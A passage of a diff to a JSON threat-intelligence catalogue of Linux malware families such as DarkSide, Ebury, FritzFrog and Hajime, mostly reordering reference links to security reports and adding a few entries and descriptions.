"https://www.lacework.com/blog/kinsing-dark-iot-botnet-among-threats-targeting-cve-2022-26134/" + "https://www.radware.com/getmedia/18d24c2d-c092-4a61-9ad6-ebb92b7a49b8/Alert_Realtek_SDK.aspx", + "https://blogs.juniper.net/en-us/threat-research/attacks-continue-against-realtek-vulnerabilities", + "https://www.lacework.com/blog/kinsing-dark-iot-botnet-among-threats-targeting-cve-2022-26134/", + "https://twitter.com/ESETresearch/status/1440052837820428298?s=20" ], "synonyms": [ "Dark.IoT" @@ -4241,8 +4402,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.darknexus", - "https://www.stratosphereips.org/blog/2020/6/8/dark-nexus-the-old-the-new-and-the-ugly", - "https://www.trendmicro.com/en_us/research/21/l/the-evolution-of-iot-linux-malware-based-on-mitre-att&ck-ttps.html" + "https://www.trendmicro.com/en_us/research/21/l/the-evolution-of-iot-linux-malware-based-on-mitre-att&ck-ttps.html", + "https://www.stratosphereips.org/blog/2020/6/8/dark-nexus-the-old-the-new-and-the-ugly" ], "synonyms": [], "type": [] @@ -4255,59 +4416,59 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.darkside", - "https://krebsonsecurity.com/2021/05/darkside-ransomware-gang-quits-after-servers-bitcoin-stash-seized/", - "https://www.bleepingcomputer.com/news/security/popular-russian-hacking-forum-xss-bans-all-ransomware-topics/", - "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/darkside-ransomware-victims-sold-short/", - "https://www.trendmicro.com/en_us/research/21/e/darkside-linux-vms-targeted.html", - "https://www.bleepingcomputer.com/news/security/darkside-ransomware-made-90-million-in-just-nine-months/", - "https://www.intel471.com/blog/darkside-ransomware-shut-down-revil-avaddon-cybercrime", - "https://www.youtube.com/watch?v=qxPXxWMI2i4", - "https://www.crowdstrike.com/blog/how-to-defend-against-conti-darkside-revil-and-other-ransomware/", - "https://therecord.media/darkside-gang-estimated-to-have-made-over-90-million-from-ransomware-attacks/", - "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", - "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", - "https://www.justice.gov/opa/pr/department-justice-seizes-23-million-cryptocurrency-paid-ransomware-extortionists-darkside", - "https://www.technologyreview.com/2021/05/24/1025195/colonial-pipeline-ransomware-bitdefender/", - "https://www.digitalshadows.com/blog-and-research/ransomware-as-a-service-rogue-affiliates-and-whats-next/", - "https://www.elliptic.co/blog/darkside-ransomware-has-netted-over-90-million-in-bitcoin", - "https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf", - "https://www.bleepingcomputer.com/news/security/darkside-ransomware-servers-reportedly-seized-revil-restricts-targets/", - "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", - "https://www.nytimes.com/2021/05/29/world/europe/ransomware-russia-darkside.html", - "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout", - "https://abcnews.go.com/Politics/biden-speak-colonial-pipeline-attack-americans-face-gasoline/story?id=77666212", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://therecord.media/darkside-ransomware-gang-moves-some-of-its-bitcoin-after-revil-got-hit-by-law-enforcement/", "https://www.bleepingcomputer.com/news/security/chemical-distributor-pays-44-million-to-darkside-ransomware/", - "https://pylos.co/2021/05/13/mind-the-air-gap/", - "https://otx.alienvault.com/pulse/60d0afbc395c24edefb33bb9", - "https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/", - "https://www.crowdstrike.com/blog/how-ransomware-adversaries-reacted-to-the-darkside-pipeline-attack/", - "https://securityscorecard.com/blog/new-evidence-supports-assessment-that-darkside-likely-responsible-for-colonial-pipeline-ransomware-attack-others-targeted", - "https://twitter.com/GelosSnake/status/1451465959894667275", - "https://blog.group-ib.com/blackmatter#", - "https://www.ic3.gov/Media/News/2021/211101.pdf", - "https://www.guidepointsecurity.com/from-zloader-to-darkside-a-ransomware-story/", - "https://twitter.com/JAMESWT_MHT/status/1388301138437578757", "https://therecord.media/popular-hacking-forum-bans-ransomware-ads/", - "https://cybersecurity.att.com/blogs/labs-research/darkside-raas-in-linux-version", - "https://www.maltego.com/blog/chasing-darkside-affiliates-identifying-threat-actors-connected-to-darkside-ransomware-using-maltego-intel-471-1/", - "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/", - "https://blog.group-ib.com/blackmatter2", - "https://blogs.blackberry.com/en/2021/09/threat-thursday-blackmatter-ransomware-as-a-service", - "https://medium.com/s2wlab/w1-jun-en-story-of-the-week-ransomware-on-the-darkweb-af491d33868b", - "https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/", - "https://www.secureworks.com/blog/ransomware-groups-use-tor-based-backdoor-for-persistent-access", - "https://www.crowdstrike.com/blog/falcon-protects-from-darkside-ransomware/", - "https://www.elliptic.co/blog/elliptic-follows-bitcoin-ransoms-paid-by-darkside-ransomware-victims", - "https://blog.gigamon.com/2021/05/17/tracking-darkside-and-ransomware-the-network-view/", - "https://www.youtube.com/watch?v=NIiEcOryLpI", - "https://www.wsj.com/articles/colonial-pipeline-ceo-tells-why-he-paid-hackers-a-4-4-million-ransom-11621435636", + "https://www.guidepointsecurity.com/from-zloader-to-darkside-a-ransomware-story/", + "https://therecord.media/darkside-ransomware-gang-moves-some-of-its-bitcoin-after-revil-got-hit-by-law-enforcement/", + "https://www.elliptic.co/blog/darkside-bitcoins-on-the-move-following-government-cyberattack-against-revil-ransomware-group", "https://www.bleepingcomputer.com/news/security/darkside-ransomware-rushes-to-cash-out-7-million-in-bitcoin/", - "https://www.databreaches.net/a-former-darkside-listing-shows-up-on-revils-leak-site/", + "https://www.ic3.gov/Media/News/2021/211101.pdf", + "https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf", + "https://www.maltego.com/blog/chasing-darkside-affiliates-identifying-threat-actors-connected-to-darkside-ransomware-using-maltego-intel-471-1/", + "https://www.crowdstrike.com/blog/how-ransomware-adversaries-reacted-to-the-darkside-pipeline-attack/", + "https://twitter.com/GelosSnake/status/1451465959894667275", + "https://cybersecurity.att.com/blogs/labs-research/darkside-raas-in-linux-version", + "https://medium.com/s2wlab/w1-jun-en-story-of-the-week-ransomware-on-the-darkweb-af491d33868b", + "https://twitter.com/JAMESWT_MHT/status/1388301138437578757", + "https://www.elliptic.co/blog/elliptic-follows-bitcoin-ransoms-paid-by-darkside-ransomware-victims", + "https://www.youtube.com/watch?v=qxPXxWMI2i4", + "https://www.secureworks.com/blog/ransomware-groups-use-tor-based-backdoor-for-persistent-access", + "https://otx.alienvault.com/pulse/60d0afbc395c24edefb33bb9", + "https://therecord.media/darkside-gang-estimated-to-have-made-over-90-million-from-ransomware-attacks/", + "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout", "https://blogs.vmware.com/security/2022/09/esxi-targeting-ransomware-the-threats-that-are-after-your-virtual-machines-part-1.html", + "https://blog.group-ib.com/blackmatter#", + "https://www.wsj.com/articles/colonial-pipeline-ceo-tells-why-he-paid-hackers-a-4-4-million-ransom-11621435636", + "https://krebsonsecurity.com/2021/05/darkside-ransomware-gang-quits-after-servers-bitcoin-stash-seized/", + "https://www.intel471.com/blog/darkside-ransomware-shut-down-revil-avaddon-cybercrime", + "https://blog.group-ib.com/blackmatter2", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/darkside-ransomware-victims-sold-short/", + "https://blogs.blackberry.com/en/2021/09/threat-thursday-blackmatter-ransomware-as-a-service", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", + "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", + "https://www.bleepingcomputer.com/news/security/darkside-ransomware-servers-reportedly-seized-revil-restricts-targets/", + "https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/", + "https://www.elliptic.co/blog/darkside-ransomware-has-netted-over-90-million-in-bitcoin", + "https://www.digitalshadows.com/blog-and-research/ransomware-as-a-service-rogue-affiliates-and-whats-next/", "https://therecord.media/darkside-ransomware-gang-says-it-lost-control-of-its-servers-money-a-day-after-biden-threat/", - "https://www.elliptic.co/blog/darkside-bitcoins-on-the-move-following-government-cyberattack-against-revil-ransomware-group" + "https://www.justice.gov/opa/pr/department-justice-seizes-23-million-cryptocurrency-paid-ransomware-extortionists-darkside", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://www.bleepingcomputer.com/news/security/darkside-ransomware-made-90-million-in-just-nine-months/", + "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/", + "https://www.databreaches.net/a-former-darkside-listing-shows-up-on-revils-leak-site/", + "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", + "https://blog.gigamon.com/2021/05/17/tracking-darkside-and-ransomware-the-network-view/", + "https://www.trendmicro.com/en_us/research/21/e/darkside-linux-vms-targeted.html", + "https://www.technologyreview.com/2021/05/24/1025195/colonial-pipeline-ransomware-bitdefender/", + "https://securityscorecard.com/blog/new-evidence-supports-assessment-that-darkside-likely-responsible-for-colonial-pipeline-ransomware-attack-others-targeted", + "https://abcnews.go.com/Politics/biden-speak-colonial-pipeline-attack-americans-face-gasoline/story?id=77666212", + "https://www.bleepingcomputer.com/news/security/popular-russian-hacking-forum-xss-bans-all-ransomware-topics/", + "https://pylos.co/2021/05/13/mind-the-air-gap/", + "https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/", + "https://www.crowdstrike.com/blog/how-to-defend-against-conti-darkside-revil-and-other-ransomware/", + "https://www.nytimes.com/2021/05/29/world/europe/ransomware-russia-darkside.html", + "https://www.youtube.com/watch?v=NIiEcOryLpI", + "https://www.crowdstrike.com/blog/falcon-protects-from-darkside-ransomware/" ], "synonyms": [], "type": [] @@ -4333,11 +4494,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.ddg", - "https://blog.netlab.360.com/ddg-mining-botnet-jin-qi-huo-dong-fen-xi/", + "https://blog.netlab.360.com/old-botnets-never-die-and-ddg-refuse-to-fade-away/", "https://blog.netlab.360.com/ddg-a-mining-botnet-aiming-at-database-servers/", "https://blog.netlab.360.com/ddg-botnet-round-x-is-there-an-ending/", "https://blog.netlab.360.com/threat-alert-ddg-3013-is-out/", - "https://blog.netlab.360.com/old-botnets-never-die-and-ddg-refuse-to-fade-away/" + "https://blog.netlab.360.com/ddg-mining-botnet-jin-qi-huo-dong-fen-xi/" ], "synonyms": [], "type": [] @@ -4364,9 +4525,9 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.deadbolt", "https://community.riskiq.com/article/1601124b", - "https://www.trendmicro.com/en_us/research/22/f/closing-the-door-deadbolt-ransomware-locks-out-vendors-with-mult.html", "https://securelist.com/new-ransomware-trends-in-2022/106457/", - "https://www.bleepingcomputer.com/news/security/new-deadbolt-ransomware-targets-qnap-devices-asks-50-btc-for-master-key/" + "https://www.bleepingcomputer.com/news/security/new-deadbolt-ransomware-targets-qnap-devices-asks-50-btc-for-master-key/", + "https://www.trendmicro.com/en_us/research/22/f/closing-the-door-deadbolt-ransomware-locks-out-vendors-with-mult.html" ], "synonyms": [], "type": [] @@ -4379,8 +4540,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.denonia", - "https://www.cadosecurity.com/cado-discovers-denonia-the-first-malware-specifically-targeting-lambda/", - "https://thehackernews.com/2022/04/first-malware-targeting-aws-lambda.html" + "https://thehackernews.com/2022/04/first-malware-targeting-aws-lambda.html", + "https://www.cadosecurity.com/cado-discovers-denonia-the-first-malware-specifically-targeting-lambda/" ], "synonyms": [], "type": [] @@ -4393,9 +4554,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.derusbi", + "https://twitter.com/IntezerLabs/status/1407676522534735873?s=20", "https://attack.mitre.org/groups/G0001/", - "https://attack.mitre.org/groups/G0096", - "https://twitter.com/IntezerLabs/status/1407676522534735873?s=20" + "https://attack.mitre.org/groups/G0096" ], "synonyms": [], "type": [] @@ -4407,10 +4568,7 @@ "description": "Dofloo (aka AESDDoS) is a popular malware used to create large scale botnets that can launch DDoS attacks and load cryptocurrency miners to the infected machines. ", "meta": { "refs": [ - "https://malpedia.caad.fkie.fraunhofer.de/details/elf.dofloo", - "https://blog.syscall.party/post/aes-ddos-analysis-part-1/", - "https://www.botconf.eu/wp-content/uploads/2015/12/OK-P13-Liu-Ya-Automatically-Classify-Unknown-Bots-by-The-Register-Messages.pdf", - "https://www.bleepingcomputer.com/news/security/exposed-docker-apis-abused-by-ddos-cryptojacking-botnet-malware/" + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.dofloo" ], "synonyms": [ "AESDDoS" @@ -4426,8 +4584,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.doki", "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/", - "https://www.intezer.com/container-security/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/", - "https://www.securecoding.com/blog/all-about-doki-malware/" + "https://www.securecoding.com/blog/all-about-doki-malware/", + "https://www.intezer.com/container-security/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/" ], "synonyms": [], "type": [] @@ -4449,20 +4607,33 @@ "uuid": "a41d8c89-8229-4936-96c2-4b194ebaf858", "value": "DoubleFantasy (ELF)" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.dreambus", + "https://blogs.juniper.net/en-us/threat-research/dreambus-botnet-resurfaces-targets-rocketmq-vulnerability" + ], + "synonyms": [], + "type": [] + }, + "uuid": "22ff8eac-d92e-4c6e-829b-9b565d90eddd", + "value": "DreamBus" + }, { "description": "This payload has been used to compromise kernel.org back in August of 2011 and has hit cPanel Support which in turn, has infected quite a few cPanel servers. It is a credential stealing payload which steals SSH keys, passwords, and potentially other credentials.\r\n\r\nThis family is part of a wider range of tools which are described in detail in the operation windigo whitepaper by ESET.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.ebury", - "https://www.welivesecurity.com/wp-content/uploads/2014/03/operation_windigo.pdf", - "https://csirt.gov.it/data/cms/posts/582/attachments/66ca2e9a-68cd-4df5-81a2-674c31a699c2/download", - "https://security.web.cern.ch/security/advisories/windigo/windigo.shtml", - "https://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/", - "https://www.welivesecurity.com/2018/12/05/dark-side-of-the-forsshe/", - "https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/", - "https://www.justice.gov/opa/pr/russian-citizen-pleads-guilty-involvement-global-botnet-conspiracy", "https://www.welivesecurity.com/2014/10/15/operation-windigo-good-job-eset-says-malware-author/", - "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf" + "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf", + "https://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/", + "https://www.justice.gov/opa/pr/russian-citizen-pleads-guilty-involvement-global-botnet-conspiracy", + "https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/", + "https://www.welivesecurity.com/wp-content/uploads/2014/03/operation_windigo.pdf", + "https://security.web.cern.ch/security/advisories/windigo/windigo.shtml", + "https://csirt.gov.it/data/cms/posts/582/attachments/66ca2e9a-68cd-4df5-81a2-674c31a699c2/download", + "https://www.welivesecurity.com/2018/12/05/dark-side-of-the-forsshe/" ], "synonyms": [], "type": [] @@ -4476,9 +4647,10 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.echobot", "https://www.bleepingcomputer.com/news/security/new-echobot-botnet-variant-uses-over-50-exploits-to-propagate/", - "https://unit42.paloaltonetworks.com/new-mirai-variant-adds-8-new-exploits-targets-additional-iot-devices/", + "https://unit42.paloaltonetworks.com/mirai-variant-echobot-resurfaces-with-13-previously-unexploited-vulnerabilities/", "https://blogs.akamai.com/sitr/2019/06/latest-echobot-26-infection-vectors.html", - "https://www.f5.com/labs/articles/threat-intelligence/echobot-malware-now-up-to-71-exploits--targeting-scada" + "https://www.f5.com/labs/articles/threat-intelligence/echobot-malware-now-up-to-71-exploits--targeting-scada", + "https://unit42.paloaltonetworks.com/new-mirai-variant-adds-8-new-exploits-targets-additional-iot-devices/" ], "synonyms": [], "type": [] @@ -4492,10 +4664,10 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.enemybot", "https://www.fortinet.com/blog/threat-research/enemybot-a-look-into-keksecs-latest-ddos-botnet", + "https://cybersecurity.att.com/blogs/labs-research/rapidly-evolving-iot-malware-enemybot-now-targeting-content-management-system-servers", "https://cybersecurity.att.com/blogs/labs-research/shikitega-new-stealthy-malware-targeting-linux", "https://www.securonix.com/blog/detecting-the-enemybot-botnet-advisory/", - "https://www.securonix.com/blog/detecting-the-enemybot-botnet-advisory", - "https://cybersecurity.att.com/blogs/labs-research/rapidly-evolving-iot-malware-enemybot-now-targeting-content-management-system-servers" + "https://www.securonix.com/blog/detecting-the-enemybot-botnet-advisory" ], "synonyms": [], "type": [] @@ -4522,8 +4694,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.esxi_args", - "https://blog.ovhcloud.com/ransomware-targeting-vmware-esxi/", "https://www.bleepingcomputer.com/news/security/massive-esxiargs-ransomware-attack-targets-vmware-esxi-servers-worldwide/", + "https://blog.ovhcloud.com/ransomware-targeting-vmware-esxi/", "https://www.secuinfra.com/en/techtalk/hide-your-hypervisor-analysis-of-esxiargs-ransomware/", "https://www.youtube.com/watch?v=bBcvqxPdjoI" ], @@ -4534,13 +4706,13 @@ "value": "ESXiArgs" }, { - "description": "", + "description": "According to Infosec Institute, EvilGnome presents itself to unwitting Linux users as a legitimate GNOME extension. Legitimate extensions help to extend Linux functionality, but instead of a healthy boost in system functionality, EvilGnome begins spying on users with an array of functionalities uncommon for most Linux malware types.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.evilgnome", "https://ssu.gov.ua/uploads/files/DKIB/Technical%20report%20Armagedon.pdf", - "https://intezer.com/blog/linux/elf-malware-analysis-101-linux-threats-no-longer-an-afterthought", - "https://www.intezer.com/blog-evilgnome-rare-malware-spying-on-linux-desktop-users/" + "https://www.intezer.com/blog-evilgnome-rare-malware-spying-on-linux-desktop-users/", + "https://intezer.com/blog/linux/elf-malware-analysis-101-linux-threats-no-longer-an-afterthought" ], "synonyms": [], "type": [] @@ -4566,14 +4738,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.exaramel", - "https://www.wired.com/story/sandworm-centreon-russia-hack/", "https://pylos.co/wp-content/uploads/2020/02/Threat-Intelligence-and-the-Limits-of-Malware-Analysis.pdf", - "https://twitter.com/craiu/status/1361581668092493824", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf", - "https://www.domaintools.com/resources/blog/centreon-to-exim-and-back-on-the-trail-of-sandworm", - "https://www.welivesecurity.com/wp-content/uploads/2021/04/ESET_Industry_Report_Government.pdf", "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/", - "https://attack.mitre.org/groups/G0034" + "https://www.wired.com/story/sandworm-centreon-russia-hack/", + "https://www.welivesecurity.com/wp-content/uploads/2021/04/ESET_Industry_Report_Government.pdf", + "https://attack.mitre.org/groups/G0034", + "https://www.domaintools.com/resources/blog/centreon-to-exim-and-back-on-the-trail-of-sandworm", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf", + "https://twitter.com/craiu/status/1361581668092493824" ], "synonyms": [], "type": [] @@ -4614,9 +4786,9 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.fbot", "https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html", - "https://blog.netlab.360.com/fbot-is-now-riding-the-traffic-and-transportation-smart-devices-en/", + "https://blog.malwaremustdie.org/2020/01/mmd-0065-2020-linuxmirai-fbot.html", "https://securitynews.sonicwall.com/xmlpost/vigilante-malware-removes-cryptominers-from-the-infected-device/", - "https://blog.malwaremustdie.org/2020/01/mmd-0065-2020-linuxmirai-fbot.html" + "https://blog.netlab.360.com/fbot-is-now-riding-the-traffic-and-transportation-smart-devices-en/" ], "synonyms": [], "type": [] @@ -4629,9 +4801,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.finfisher", + "https://securelist.com/finspy-unseen-findings/104322/", "https://www.amnesty.org/en/latest/research/2020/09/german-made-finspy-spyware-found-in-egypt-and-mac-and-linux-versions-revealed/", - "https://netzpolitik.org/2020/our-criminal-complaint-german-state-malware-company-finfisher-raided/", - "https://securelist.com/finspy-unseen-findings/104322/" + "https://netzpolitik.org/2020/our-criminal-complaint-german-state-malware-company-finfisher-raided/" ], "synonyms": [], "type": [] @@ -4657,8 +4829,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.fodcha", - "https://blog.netlab.360.com/fodcha-a-new-ddos-botnet/", - "https://www.bleepingcomputer.com/news/security/fodcha-ddos-botnet-reaches-1tbps-in-power-injects-ransoms-in-packets/" + "https://www.bleepingcomputer.com/news/security/fodcha-ddos-botnet-reaches-1tbps-in-power-injects-ransoms-in-packets/", + "https://blog.netlab.360.com/fodcha-a-new-ddos-botnet/" ], "synonyms": [], "type": [] @@ -4680,15 +4852,16 @@ "value": "FontOnLake" }, { - "description": "Guardicore has discovered FritzFrog, a sophisticated peer-to-peer (P2P) botnet which has been actively breaching SSH servers since January 2020. It is a worm which is written in Golang, and is modular, multi-threaded and fileless, leaving no trace on the infected machine’s disk. ", + "description": "Guardicore has discovered FritzFrog, a sophisticated peer-to-peer (P2P) botnet which has been actively breaching SSH servers since January 2020. It is a worm which is written in Golang, and is modular, multi-threaded and fileless, leaving no trace on the infected machine\u2019s disk. ", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.fritzfrog", - "https://www.akamai.com/blog/security/fritzfrog-p2p", - "https://www.securityweek.com/sophisticated-fritzfrog-p2p-botnet-returns-after-long-break", - "https://www.guardicore.com/2020/08/fritzfrog-p2p-botnet-infects-ssh-servers/", + "https://blog.netlab.360.com/p2p-botnets-review-status-continuous-monitoring/", "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", - "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/" + "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/", + "https://www.akamai.com/blog/security/fritzfrog-p2p", + "https://www.guardicore.com/2020/08/fritzfrog-p2p-botnet-infects-ssh-servers/", + "https://www.securityweek.com/sophisticated-fritzfrog-p2p-botnet-returns-after-long-break" ], "synonyms": [], "type": [] @@ -4697,7 +4870,7 @@ "value": "FritzFrog" }, { - "description": "", + "description": "Gitpaste-12 is a modular malware first observed in October 2020 targeting Linux based x86 servers, as well as Linux ARM and MIPS based IoT devices. It uses GitHub and Pastebin as dead drop C2 locations.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.gitpaste12", @@ -4714,8 +4887,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.glupteba_proxy", - "https://decoded.avast.io/martinhron/meris-and-trickbot-standing-on-the-shoulders-of-giants/", - "https://thehackernews.com/2022/03/over-200000-microtik-routers-worldwide.html" + "https://thehackernews.com/2022/03/over-200000-microtik-routers-worldwide.html", + "https://decoded.avast.io/martinhron/meris-and-trickbot-standing-on-the-shoulders-of-giants/" ], "synonyms": [], "type": [] @@ -4723,6 +4896,19 @@ "uuid": "bcfec1d3-ff29-4677-a5f6-be285e98a9db", "value": "Glupteba Proxy" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.gobrat", + "https://blogs.jpcert.or.jp/en/2023/05/gobrat.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "ddba032c-ebde-4736-b7ef-8376702dac6a", + "value": "GobRAT" + }, { "description": "", "meta": { @@ -4793,14 +4979,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.hajime", + "https://par.nsf.gov/servlets/purl/10096257", "https://blog.netlab.360.com/quick-summary-port-8291-scan-en/", - "https://github.com/Psychotropos/hajime_hashes", + "https://www.symantec.com/connect/blogs/hajime-worm-battles-mirai-control-internet-things", + "http://blog.netlab.360.com/hajime-status-report-en/", + "https://blog.netlab.360.com/p2p-botnets-review-status-continuous-monitoring/", "https://security.radware.com/WorkArea/DownloadAsset.aspx?id=1461", "https://x86.re/blog/hajime-a-follow-up/", - "http://blog.netlab.360.com/hajime-status-report-en/", - "https://www.symantec.com/connect/blogs/hajime-worm-battles-mirai-control-internet-things", - "https://par.nsf.gov/servlets/purl/10096257", - "https://security.rapiditynetworks.com/publications/2016-10-16/hajime.pdf" + "https://security.rapiditynetworks.com/publications/2016-10-16/hajime.pdf", + "https://github.com/Psychotropos/hajime_hashes" ], "synonyms": [], "type": [] @@ -4839,8 +5026,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.hand_of_thief", - "https://blog.avast.com/2013/08/27/linux-trojan-hand-of-thief-ungloved/", - "https://web.archive.org/web/20130815040638/https://blogs.rsa.com/thieves-reaching-for-linux-hand-of-thief-trojan-targets-linux-inth3wild/" + "https://web.archive.org/web/20130815040638/https://blogs.rsa.com/thieves-reaching-for-linux-hand-of-thief-trojan-targets-linux-inth3wild/", + "https://blog.avast.com/2013/08/27/linux-trojan-hand-of-thief-ungloved/" ], "synonyms": [ "Hanthie" @@ -4869,17 +5056,17 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.hellokitty", - "https://www.govinfosecurity.com/vice-society-ransomware-gang-disrupted-spar-stores-a-18225", - "https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf", "https://blog.sekoia.io/vice-society-a-discreet-but-steady-double-extortion-ransomware-group/", - "https://unit42.paloaltonetworks.com/emerging-ransomware-groups/", - "https://soolidsnake.github.io/2021/07/17/hellokitty_linux.html", "https://blog.sekoia.io/vice-society-a-discreet-but-steady-double-extortion-ransomware-group", - "https://blogs.vmware.com/security/2022/09/esxi-targeting-ransomware-the-threats-that-are-after-your-virtual-machines-part-1.html", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://unit42.paloaltonetworks.com/emerging-ransomware-groups/", + "https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf", "https://www.bleepingcomputer.com/news/security/linux-version-of-hellokitty-ransomware-targets-vmware-esxi-servers/", + "https://www.govinfosecurity.com/vice-society-ransomware-gang-disrupted-spar-stores-a-18225", + "https://blogs.vmware.com/security/2022/09/esxi-targeting-ransomware-the-threats-that-are-after-your-virtual-machines-part-1.html", "https://www.crowdstrike.com/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/", - "https://www.esentire.com/blog/conti-affiliate-exposed-new-domain-names-ip-addresses-and-email-addresses-uncovered-by-esentire", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself" + "https://soolidsnake.github.io/2021/07/17/hellokitty_linux.html", + "https://www.esentire.com/blog/conti-affiliate-exposed-new-domain-names-ip-addresses-and-email-addresses-uncovered-by-esentire" ], "synonyms": [], "type": [] @@ -4892,6 +5079,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.hiatus_rat", + "https://blog.lumen.com/hiatusrat-takes-little-time-off-in-a-return-to-action/", "https://blog.lumen.com/new-hiatusrat-router-malware-covertly-spies-on-victims/" ], "synonyms": [], @@ -4901,13 +5089,13 @@ "value": "HiatusRAT" }, { - "description": "", + "description": "HiddenWasp is a Linux-based Trojan used to target systems for remote control. It comes in the form of a statically linked ELF binary with stdlibc++.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.hiddenwasp", "https://www.intezer.com/blog/incident-response/orbit-new-undetected-linux-threat/", - "https://intezer.com/blog/linux/elf-malware-analysis-101-linux-threats-no-longer-an-afterthought", - "https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/" + "https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/", + "https://intezer.com/blog/linux/elf-malware-analysis-101-linux-threats-no-longer-an-afterthought" ], "synonyms": [], "type": [] @@ -4920,15 +5108,16 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.hideandseek", - 